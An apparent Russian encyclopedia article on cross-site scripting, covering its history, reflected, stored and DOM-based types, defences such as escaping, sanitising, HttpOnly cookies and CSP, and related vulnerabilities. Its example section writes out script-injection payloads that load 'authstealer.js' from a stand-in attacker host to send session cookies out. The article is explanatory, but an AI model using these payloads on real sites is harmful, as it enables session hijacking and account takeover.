АссистентНовый вопросИсторияОбласти знаний
Партнёрские проектыМатериалы БРЭСпецпроектыСтать автором
Настроить видСменить язык
О РУВИКИ
Ответ на вопрос

Межсайтовый скриптинг

Pause

Межсайтовый скриптинг (англ. Cross-Site Scripting, XSS) — это разновидность уязвимостей компьютерной безопасности, встречающаяся преимущественно в веб-приложениях и часто сопровождающаяся HTML-инъекцией, а также присутствующая в некоторых приложениях, использующих JavaScript. XSS позволяет внедрять клиентский JavaScript-код в отображаемые другим пользователям веб-страницы. Этот тип уязвимости может быть использован злоумышленниками для обхода таких механизмов контроля, как политика одинакового источника, а также для перехвата сеанса пользователя. Согласно данным Symantec, по состоянию на 2007 год атаки с помощью межсайтового скриптинга составляли около 84 % всех зарегистрированных уязвимостей в области безопасности[1]. Масштаб последствий зависит от чувствительности обрабатываемых данным сайтом данных и от реализованных механизмов защиты.

История

Информационная безопасность веба основывается на ряде механизмов, таких как политика одинакового источника. Политика одинакового источника в упрощённом виде означает, что если сайту разрешён доступ к некоторым ресурсам, то это разрешение распространяется на весь контент этого сайта, но сторонний сайт должен проходить отдельную авторизацию для получения доступа[2].

Межсайтовый скриптинг основывается на эксплуатации известных уязвимостей в веб-приложениях, их серверах или зависимых от них плагинах. Используя одну из этих уязвимостей, атакующий внедряет вредоносный код в контент сайта, и когда такой составной контент загружается в браузере пользователя, он выполняется с теми же правами, что и остальной безопасный код с этого сайта. Получив возможность внедрять скрипты, злоумышленник приобретает расширенный доступ к конфиденциальным данным на странице, сессионным куки и другой информации, управляемой браузером. Межсайтовый скриптинг относится к разновидностям кодовых инъекций.

Термин «межсайтовый скриптинг» предложен инженерами по кибербезопасности компании Microsoft в январе 2000 года[3]. Первоначальное понимание XSS касалось возможности запуска вредоносных JavaScript-кодов в целях компрометации другой доверенной области с помощью захваченных приложений, но впоследствии термин расширился и на другие технологии клиентских скриптов — такие как ActiveX, Java, VBScript, Flash и HTML-скрипты[4].

Уязвимости XSS эксплуатируются с 1990-х годов. Отмечены случаи их успешной эксплуатации на таких ресурсах, как MySpace, YouTube, Orkut[5][6]. С конца 2000-х XSS обогнал переполнение буфера как наиболее часто регистрируемая уязвимость[7]. В 2007 году сообщалось, что 68 % сайтов были уязвимы к XSS-атакам[8].

Виды

Стандартизованной единой классификации уязвимостей XSS не существует, однако в литературе обычно выделяют по крайней мере два основных класса — отражённые и постоянные атаки. Иногда дополнительно различают традиционные (серверные) и основанные на DOM (клиентские) уязвимости.

Отражённый (непостоянный) XSS

Отражённый (или непостоянный) XSS — основной и наиболее часто встречающийся тип уязвимостей[9]. Уязвимость возникает, если введённые пользователем параметры, как правило передаваемые через HTTP-запросы (например, поля формы), используются сервером для динамической генерации ответа без необходимой фильтрации[10].

Из-за линейной структуры HTML (объединяющей управляющие символы, разметку и пользовательские данные), любое незаэкранированное пользовательское значение в документе может привести к внедрению произвольного кода. Пример — поисковый интерфейс: если искомый текст возвращается на страницу без экранирования HTML-символов, появляется XSS-уязвимость[11].

Обычно отражённые атаки распространяются через электронную почту или созданные злоумышленником веб-страницы, где пользователь перенаправляется на вредоносную ссылку, ведущую на уязвимый сайт. Если сайт не фильтрует вредоносный код, после перехода пользователя вредоносный скрипт выполняется в его браузере.

Постоянный (сохраняемый) XSS

Постоянная (или сохраняемая) XSS-уязвимость наиболее опасна: внедрённые злоумышленником данные сохраняются на сервере и затем отображаются на обычных страницах для других пользователей. Классический пример — форумы или социальные сети, где пользовательским сообщениям разрешён HTML.

Например, на сайте знакомств злоумышленник может добавить код к своему профилю, чтобы при его просмотре сбор данных других пользователей отправлялся на сторонний сервер. Такой скрипт выполняется автоматически без какого-либо взаимодействия пользователя, что существенно повышает уровень угрозы (особенно при распространении через самораспространяющиеся черви)[12].

Серверные и DOM-основанные XSS

Первоначально XSS встречался только в приложениях, где весь ввод-вывод происходил на сервере. Позднее получили распространение приложения, логика отображения которых реализована на клиенте с помощью AJAX и JavaScript. Это привело к появлению DOM-основанных XSS-уязвимостей, при которых вредоносный код внедряется и выполняется исключительно на стороне клиента, минуя сервер[13].

Например, в 2011 году подобная уязвимость была выявлена во многих плагинах для jQuery[14]. Основные меры защиты аналогичны классическим: фильтрация и экранирование входных данных[15]. Некоторые современные фреймворки, например Angular.js[16], содержат встроенные механизмы защиты.

Self-XSS

Self-XSS — разновидность XSS, основанная на социальной инженерии: жертву убеждают вручную вставить и выполнить вредоносный JavaScript-код в своём браузере. Хотя с технической точки зрения это не классическая XSS-уязвимость, последствия могут быть теми же.

Примеры эксплуатации

Для успешной эксплуатации XSS-уязвимостей злоумышленнику необходимо использовать различные сценарии для каждого из классов уязвимости.

Фреймворк эксплуатации браузера может быть использован для атак как на веб-страницы, так и на локальную среду пользователя.

Отражённая атака

  1. Пользователь (Alice) регулярно посещает сайт, администрируемый Bob. Alice авторизуется под своим именем, и сайт хранит авторизационные куки для поддержания сессии.
  2. Злоумышленник (Mallory) обнаруживает отражённую уязвимость на сайте Bob:
    1. Он вводит строку поиска — если результат не найден, сайт выводит запрос вместе с сообщением об ошибке и помещает введённый текст в URL, например, http://bobssite.org?q=текст_запроса.
    2. Если вместо строки поиска передать код <script>, например "", сайт выведет сообщение с ошибкой, а скрипт выполнится.
  3. Mallory формирует вредоносный URL, например:
    1. http://bobssite.org?q=<script%20src="http://mallorysevilsite.com/authstealer.js"></script>
    2. Ссылку можно дополнительно закодировать (например, hex-кодами), чтобы усложнить обнаружение[17].
  4. Mallory рассылает ссылку доверчивым пользователям или размещает её в публичном доступе.
  5. Alice переходит по ссылке, внешний вид сайта не вызывает подозрений, но загрузившийся вредоносный скрипт (например, authstealer.js) выполняется от имени сайта Bob и отправляет сессионные куки на сервер Mallory.
  6. Mallory получает куки Alice, авторизуется на сайте Bob под её учётной записью, а затем получает доступ к её персональным данным, меняет пароль и т. д.
  7. Аналогичные действия могут быть проведены и против администраторов сайта.

Меры по предотвращению:

  1. Экранирование и фильтрация пользовательских данных.
  2. Корректная обработка невалидных запросов на web-сервере.
  3. Ограничения на одновременные сессии и их контроль по IP.
  4. Скрытие части чувствительных данных (например, маскирование номеров карт).
  5. Проверка пароля при изменении учётных данных.
  6. Использование политики безопасности контента.
  7. Установка куки с флагом HttpOnly.
  8. Повышение осведомлённости пользователей.

Постоянная атака

  1. Mallory регистрируется на сайте Bob.
  2. Выявляет сохраняемую XSS-уязвимость — например, в комментариях к публикациям, где HTML-теги исполняются без фильтрации.
  3. В комментарии добавляется строка вида: Обожаю этих котиков! Так мило! <script src="http://mallorysevilsite.com/authstealer.js"></script>
  4. Любой пользователь, просмотревший страницу, запускает скрипт, и его сессионные куки отправляются Mallory[17].
  5. Mallory использует полученные куки для доступа к аккаунту Alice[18].

Недостаточная фильтрация или отсутствие удаления тегов <script> — основной корень проблемы.

Меры защиты

Контекстное экранирование вывода

Главный способ защиты от XSS — экранирование пользовательского ввода в зависимости от контекста (HTML-энкодинг, JavaScript-энкодинг, CSS-энкодинг и кодирование URL) на этапе вывода данных в документ[19]. Даже базовое экранирование HTML специальными сущностями значительно снижает вероятность успешной атаки.

Однако одних только замен пяти специальных HTML-символов недостаточно: обход часто возможен с помощью менее очевидных тэгов или альтернативных техник шифрования. Поэтому для защиты рекомендуется использовать качественные специализированные библиотеки.

Валидация HTML-ввода

Во многих веб-приложениях допускается ограниченный HTML-формат пользовательского ввода (форумы, webmail и т. д.). Для безопасного отображения такого ввода необходима обязательная очистка HTML-кода через специальные фильтры-санитайзеры, которые удаляют все опасные теги и атрибуты.

Простой пример уязвимости: <img src="javascript:alert(1)">

Удаление символов кавычек или других «опасных» знаков тоже может быть неэффективно, так как вредоносный код может быть зашифрован или обфусцирован другими способами.

Защита куки

Кроме фильтрации контента, применяют дополнительные приёмы: связывают сессионные куки с IP-адресом пользователя или используют флаг HttpOnly для запрета доступа JavaScript к куки[20]. Однако такие методы не защищают в случаях NAT, прокси или мобильного доступа.

Браузеры Internet Explorer версии 6+, Mozilla Firefox 2.0.0.5+, Safari 4+, Opera 9.5+ и Google Chrome реализуют флаг HttpOnly (куки недоступны для клиентских скриптов), но и он не решает всех проблем[21].

Отключение скриптов

Хотя современные приложения часто требуют включённого JavaScript[22], некоторые сайты функционируют даже при полном отключении скриптов[23]. Пользователь может вручную отключать выполнение скриптов для отдельных сайтов или глобально.

Плагин NoScript (для Firefox и совместимых) позволяет управлять разрешениями для скриптов по доменам и реализует ряд встроенных механизмов XSS-защиты[24]. Аналогичные решения существуют для других браузеров.

Недостатки такого подхода: значительное ухудшение удобства и функциональности сайтов, низкая осведомлённость пользователей и то, что многие сайты не работают без JavaScript.

Новые технологии защиты

Современные подходы в области предотвращения XSS включают Content Security Policy, изоляцию JavaScript и автоматические шаблоны преобразования[25]. Их развитие позволяет понизить риск XSS-эксплуатации, однако полностью проблему на момент написания они не решают.

Сканеры уязвимостей

Некоторые компании предоставляют услуги автоматизированного тестирования сайтов на XSS: с помощью специальных инструментов симулируется атака, и в случае успешного взлома клиенту предоставляется отчёт с рекомендациями[26]. Однако ни один внешний сканер не гарантирует нахождение всех векторов атак; для критичных ресурсов необходимо применять также анализ исходного кода.

Родственные уязвимости

Глобальный межсайтовый скриптинг (англ. UXSS, Global XSS) эксплуатирует баги самих браузеров, а не веб-приложений. Такие атаки широко применялись, например, группой Anonymous для распространения DDoS-атак[27].

Смежными по технике считаются: межзонный скриптинг (обход зон браузера)[28], инъекции HTTP-заголовков (могут применяться для организации межсайтового скриптинга)[29], межсайтовая подделка запросов (CSRF)[30], а также скрытое перенаправление и инъекции в базе данных (например, SQL-инъекция)[31][32].

Примечания

  1. ↑ During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 «traditional» vulnerabilities documented by Symantec, in “Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)” (PDF) [англ.]. XIII. Symantec Corp. Апрель 2008: 1—3. Архивировано из оригинала (PDF) 2008-06-25. Дата обращения 2024-06-11.
  2. ↑ Same Origin Policy - Web Security. W3.org. (англ.). Дата обращения: 11 июня 2024. Архивировано 27 января 2017 года.
  3. ↑ "dross" on MSDN. Happy 10th birthday Cross-Site Scripting! (англ.) (15 декабря 2009). Дата обращения: 11 июня 2024. Архивировано 30 мая 2015 года.
  4. ↑ Grossman, Jeremiah The origins of Cross-Site Scripting (XSS) (англ.) (30 июля 2006). Дата обращения: 11 июня 2024. Архивировано 21 февраля 2017 года.
  5. ↑ Full List of Incidents (англ.). Web Application Security Consortium (17 февраля 2008). Дата обращения: 11 июня 2024. Архивировано 21 октября 2010 года.
  6. ↑ Dignan, Larry Obama site hacked; Redirected to Hillary Clinton (англ.). ZDNet (21 апреля 2008). Дата обращения: 11 июня 2024. Архивировано 27 марта 2014 года.
  7. ↑ Christey, Steve; Martin, Robert A. Vulnerability Type Distributions in CVE (version 1.1) (англ.). MITRE Corporation (22 мая 2007). Дата обращения: 11 июня 2024. Архивировано 3 октября 2016 года.
  8. ↑ Berinato, Scott. Software Vulnerability Disclosure: The Chilling Effect (англ.), CSO, CXO Media (1 января 2007), С. 7. Архивировано 18 апреля 2008 года. Дата обращения: 11 июня 2024.
  9. ↑ Hope, Paco. Web Security Testing Cookbook : [англ.] / Paco Hope, Ben Walther. — Sebastopol, CA : O'Reilly Media, 2008. — P. 128. — ISBN 978-0-596-51483-9.
  10. ↑ Cross-site Scripting (англ.). Web Application Security Consortium (2005). Дата обращения: 11 июня 2024. Архивировано 1 июня 2010 года.
  11. ↑ Grossman, Jeremiah. XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract) : [англ.] / Jeremiah Grossman, Robert Hansen, Seth Fogie … [et al.]. — Elsevier Science & Technology via Google Book Search, 2007. — P. 70, 156. — ISBN 1-59749-154-3.
  12. ↑ Viruses and worms in Alcorn, Wade The Cross-site Scripting Virus (англ.). BindShell.net (27 сентября 2005). Дата обращения: 11 июня 2024. Архивировано 23 августа 2014 года.
  13. ↑ DOM based XSS (англ.). OWASP. Дата обращения: 11 июня 2024. Архивировано 28 января 2017 года.
  14. ↑ JQuery bug #9521 (англ.) (2011). Дата обращения: 11 июня 2024. Архивировано 30 января 2017 года.
  15. ↑ DOM based XSS prevention cheat sheet (англ.). OWASP. Дата обращения: 11 июня 2024. Архивировано 28 января 2017 года.
  16. ↑ Strict Contextual Escaping (англ.). Angular.js. Дата обращения: 11 июня 2024. Архивировано 10 февраля 2014 года.
  17. ↑ 1 2 Примеры XSS-атак (англ.). Дата обращения: 11 июня 2024. Архивировано 14 февраля 2018 года.
  18. ↑ Brodkin, Jon. The top 10 reasons Web sites get hacked (англ.), Network World, IDG (4 октября 2007). Архивировано 14 февраля 2017 года. Дата обращения: 11 июня 2024.
  19. ↑ Williams, Jeff XSS (Cross Site Scripting) Prevention Cheat Sheet (англ.). OWASP (19 января 2009). Дата обращения: 11 июня 2024. Архивировано 18 марта 2017 года.
  20. ↑ Sharma, Anand Prevent a cross-site scripting attack (англ.). IBM (3 февраля 2004). Дата обращения: 11 июня 2024. Архивировано 24 сентября 2015 года.
  21. ↑ Ajax and Mashup Security (англ.). OpenAjax Alliance. Дата обращения: 11 июня 2024. Архивировано 27 сентября 2016 года.
  22. ↑ O'Reilly, Tim What Is Web 2.0 (англ.) 4—5. O'Reilly Media (30 сентября 2005). Дата обращения: 11 июня 2024. Архивировано 16 октября 2014 года.
  23. ↑ «A page should work, even if in a degraded form, without JavaScript.» in Zammetti, Frank. Practical JavaScript, DOM Scripting and Ajax Projects via Amazon Reader : [англ.]. — Apress, 16 апреля 2007. — P. 36. — ISBN 1-59059-816-4.
  24. ↑ NoScript (англ.). Mozilla (30 мая 2008). Дата обращения: 11 июня 2024. Архивировано 21 апреля 2017 года.
  25. ↑ Content Security Policy 1.0 (англ.). W3C Candidate Recommendation (15 ноября 2012). Дата обращения: 11 июня 2024. Архивировано 26 февраля 2017 года.
  26. ↑ Sceptic blog (англ.). Дата обращения: 11 июня 2024. Архивировано 12 августа 2011 года.
  27. ↑ Di Paola, Stefano Adobe Acrobat Reader Plugin - Multiple Vulnerabilities (англ.). Wisec.it (3 января 2007). Дата обращения: 11 июня 2024. Архивировано 10 ноября 2016 года.
  28. ↑ Security hole in Internet Explorer allows attackers to execute arbitrary programs (англ.), Heise Media UK (16 мая 2008). Архивировано 20 ноября 2011 года. Дата обращения: 11 июня 2024.
  29. ↑ Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player (англ.). Adobe Systems (14 ноября 2006). Дата обращения: 11 июня 2024. Архивировано 29 января 2017 года.
  30. ↑ Auger, Robert The Cross-Site Request Forgery (CSRF/XSRF) FAQ (version 1.59) (англ.). Cgisecurity.com (17 апреля 2008). Дата обращения: 11 июня 2024. Архивировано 9 октября 2016 года.
  31. ↑ SQL Injection (англ.). Web Application Security Consortium (2005). Дата обращения: 11 июня 2024. Архивировано 25 сентября 2010 года.
  32. ↑ The Cross-Site Scripting FAQ (англ.). Cgisecurity.com (2002). Дата обращения: 11 июня 2024. Архивировано 21 сентября 2016 года.

Литература

Ссылки

Категории

Pause